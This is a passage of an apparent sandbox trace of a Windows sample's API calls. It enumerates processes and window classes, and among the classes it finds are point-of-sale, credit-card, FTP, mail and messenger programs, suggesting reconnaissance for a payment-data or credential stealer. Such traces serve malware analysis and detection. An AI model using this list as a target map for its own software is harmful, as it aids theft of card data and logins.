returned 1 [0300.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0300.765] Process32Next (hSnapshot=0x344, lppe=0x102efe20) Thread: id = 49 os_tid = 0x27c [0103.832] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) returned 1 [0103.833] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0103.833] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0103.833] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0103.833] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0103.833] GetClassNameA (in: hWnd=0x10120, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0103.833] GetClassNameA (in: hWnd=0x10122, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0103.834] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0103.834] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0103.834] GetClassNameA (in: hWnd=0x10118, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0103.834] GetClassNameA (in: hWnd=0x10116, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0103.834] GetClassNameA (in: hWnd=0x10114, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0103.834] GetClassNameA (in: hWnd=0x10178, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0103.834] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0103.834] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0103.834] GetClassNameA (in: hWnd=0x10112, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.834] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0103.834] GetClassNameA (in: hWnd=0x10198, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0103.834] GetClassNameA (in: hWnd=0x10196, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-00000000061A2330-1a4b5f2") returned 36 [0103.834] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0103.834] GetClassNameA (in: hWnd=0x10188, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0103.834] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.834] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x100b6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x100cc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x100d0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x10098, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0103.835] GetClassNameA (in: hWnd=0x20030, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFA00814120") returned 20 [0103.835] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0103.835] GetClassNameA (in: hWnd=0x80296, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0103.835] GetClassNameA (in: hWnd=0x20298, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0103.835] GetClassNameA (in: hWnd=0x30210, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x201de, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.835] GetClassNameA (in: hWnd=0x401dc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.836] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0103.836] GetClassNameA (in: hWnd=0x20276, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-08045EE0-870af2c") returned 28 [0103.836] GetClassNameA (in: hWnd=0x3033e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0103.836] GetClassNameA (in: hWnd=0x202fa, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0103.836] GetClassNameA (in: hWnd=0x4009c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0103.836] GetClassNameA (in: hWnd=0x30092, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.836] GetClassNameA (in: hWnd=0x301f2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-04799200-80b0019") returned 28 [0103.836] GetClassNameA (in: hWnd=0x20336, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0103.836] GetClassNameA (in: hWnd=0x20284, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0103.836] GetClassNameA (in: hWnd=0x2025e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.836] GetClassNameA (in: hWnd=0x2020c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0103.836] GetClassNameA (in: hWnd=0x10340, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="omniposwindow") returned 13 [0103.836] GetClassNameA (in: hWnd=0x10372, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Entireapp") returned 9 [0103.836] GetClassNameA (in: hWnd=0x10370, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="figure_window") returned 13 [0103.836] GetClassNameA (in: hWnd=0x10334, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="mxslipstream_class") returned 18 [0103.836] GetClassNameA (in: hWnd=0x1036e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="evening_cls") returned 11 [0103.837] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="talk_personal_cls") returned 17 [0103.837] GetClassNameA (in: hWnd=0x10364, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Now_study_class") returned 15 [0103.837] GetClassNameA (in: hWnd=0x10350, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="utg2window") returned 10 [0103.837] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="spcwin_") returned 7 [0103.837] GetClassNameA (in: hWnd=0x10344, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="spgagentservicewin") returned 18 [0103.837] GetClassNameA (in: hWnd=0x1032e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="isspos_win") returned 10 [0103.837] GetClassNameA (in: hWnd=0x10328, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="accupos_wnd") returned 11 [0103.837] GetClassNameA (in: hWnd=0x10324, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="edcsvrcls") returned 9 [0103.837] GetClassNameA (in: hWnd=0x10326, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="active-charge_window") returned 20 [0103.837] GetClassNameA (in: hWnd=0x1031e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="afr38wnd") returned 8 [0103.837] GetClassNameA (in: hWnd=0x1031c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="yahoomessengercls") returned 17 [0103.837] GetClassNameA (in: hWnd=0x1031a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="aldelo_cls") returned 10 [0103.837] GetClassNameA (in: hWnd=0x10318, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="creditservice_app") returned 17 [0103.837] GetClassNameA (in: hWnd=0x10316, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="winscpwnd") returned 9 [0103.837] GetClassNameA (in: hWnd=0x10314, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="whatsappclass") returned 13 [0103.838] GetClassNameA (in: hWnd=0x1032c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="fposapp") returned 7 [0103.838] GetClassNameA (in: hWnd=0x10312, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="centralcreditcardwindow") returned 23 [0103.838] GetClassNameA (in: hWnd=0x1030e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="webdrivewnd") returned 11 [0103.838] GetClassNameA (in: hWnd=0x1030c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="ccv_serverwnd") returned 13 [0103.838] GetClassNameA (in: hWnd=0x10300, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="icq_cls") returned 7 [0103.838] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="thunderbirdcls") returned 14 [0103.838] GetClassNameA (in: hWnd=0x102f2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Main_short_window") returned 17 [0103.838] GetClassNameA (in: hWnd=0x201ee, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0103.838] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="foxmailincmailclass") returned 19 [0103.838] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="smartftpapp") returned 11 [0103.838] GetClassNameA (in: hWnd=0x102a4, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_cls") returned 18 [0103.838] GetClassNameA (in: hWnd=0x102a6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="gmailnotifierprownd") returned 19 [0103.838] GetClassNameA (in: hWnd=0x201fc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tellbarresult") returned 13 [0103.838] GetClassNameA (in: hWnd=0x201f8, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="pressure_class") returned 14 [0103.838] GetClassNameA (in: hWnd=0x102ae, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="alftpapp") returned 8 [0103.839] GetClassNameA (in: hWnd=0x102aa, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0103.839] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="scriptftp_wnd") returned 13 [0103.839] GetClassNameA (in: hWnd=0x102c0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="farcls") returned 6 [0103.839] GetClassNameA (in: hWnd=0x102be, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="fling") returned 5 [0103.839] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="skypewin") returned 8 [0103.839] GetClassNameA (in: hWnd=0x102ba, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="leechftpclass") returned 13 [0103.839] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="ncftp_app") returned 9 [0103.839] GetClassNameA (in: hWnd=0x102b6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="notepad") returned 7 [0103.839] GetClassNameA (in: hWnd=0x102b2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="operamail_app") returned 13 [0103.839] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="outlook") returned 7 [0103.839] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Better_Water_cls") returned 16 [0103.839] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="coreftpwindow") returned 13 [0103.839] GetClassNameA (in: hWnd=0x1027c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Differentyoucls") returned 15 [0103.839] GetClassNameA (in: hWnd=0x201ec, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="flashfxp_app") returned 12 [0103.840] GetClassNameA (in: hWnd=0x10274, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="filezillawindow") returned 15 [0103.840] GetClassNameA (in: hWnd=0x201f0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="bitkinex_wnd") returned 12 [0103.840] GetClassNameA (in: hWnd=0x10278, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="barca_window") returned 12 [0103.840] GetClassNameA (in: hWnd=0x10254, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="3dftp_cls") returned 9 [0103.840] GetClassNameA (in: hWnd=0x10272, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="formerwindow") returned 12 [0103.840] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="learn_Night_Rather_class") returned 24 [0103.840] GetClassNameA (in: hWnd=0x10236, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Nearly_Cover_oil_win") returned 20 [0103.840] GetClassNameA (in: hWnd=0x10234, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Rate_Year_do_class") returned 18 [0103.840] GetClassNameA (in: hWnd=0x10232, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Tell_wnd") returned 8 [0103.840] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="democratSaveafterwnd") returned 20 [0103.840] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="focusMr") returned 7 [0103.840] GetClassNameA (in: hWnd=0x10220, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="For_win") returned 7 [0103.840] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Paycls") returned 6 [0103.840] GetClassNameA (in: hWnd=0x10228, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="happy_choice_policy_cls") returned 23 [0103.840] GetClassNameA (in: hWnd=0x10226, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="somethingapp") returned 12 [0103.841] GetClassNameA (in: hWnd=0x10224, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Stay_agreement_figure_cls") returned 25 [0103.841] GetClassNameA (in: hWnd=0x10222, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="risk_fail_app") returned 13 [0103.841] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="halfwindow") returned 10 [0103.841] GetClassNameA (in: hWnd=0x10200, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.841] GetClassNameA (in: hWnd=0x201bc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.841] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0103.841] GetClassNameA (in: hWnd=0x2013c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0103.841] GetClassNameA (in: hWnd=0x20138, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.841] GetClassNameA (in: hWnd=0x20148, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.841] GetClassNameA (in: hWnd=0x20354, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0103.841] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFA08097080") returned 20 [0103.841] GetClassNameA (in: hWnd=0x101be, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.841] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0103.841] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.841] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0103.842] GetClassNameA (in: hWnd=0x10126, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.842] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0103.842] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.842] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.842] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0103.842] GetClassNameA (in: hWnd=0x10124, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0103.842] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0103.842] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0103.842] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0103.842] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.842] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.842] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.842] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.842] GetClassNameA (in: hWnd=0x100ce, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0103.842] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0103.842] GetClassNameA (in: hWnd=0x20034, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0103.842] GetClassNameA (in: hWnd=0x20036, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0103.843] GetClassNameA (in: hWnd=0x2004c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0103.843] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.843] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.843] GetClassNameA (in: hWnd=0x200ee, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0103.843] GetClassNameA (in: hWnd=0x100ba, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0103.843] GetClassNameA (in: hWnd=0x2007c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0103.843] GetClassNameA (in: hWnd=0x20072, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0103.843] GetClassNameA (in: hWnd=0x4006e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0103.843] GetClassNameA (in: hWnd=0x10024, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0103.843] GetClassNameA (in: hWnd=0x10180, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0103.843] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0103.843] GetClassNameA (in: hWnd=0x302d8, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0103.843] GetClassNameA (in: hWnd=0x100de, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0103.843] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.843] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.843] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x10190, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0103.844] GetClassNameA (in: hWnd=0x1008e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x602ec, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x202fc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x10392, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x10390, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x10388, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.844] GetClassNameA (in: hWnd=0x10386, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10384, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10378, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10374, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10368, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10366, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10362, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x1035e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x1035a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10356, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x1034a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10346, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10342, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10338, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.845] GetClassNameA (in: hWnd=0x10330, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x10320, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x10308, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x10306, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x10302, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102ea, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102e6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102e2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102e0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102de, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: 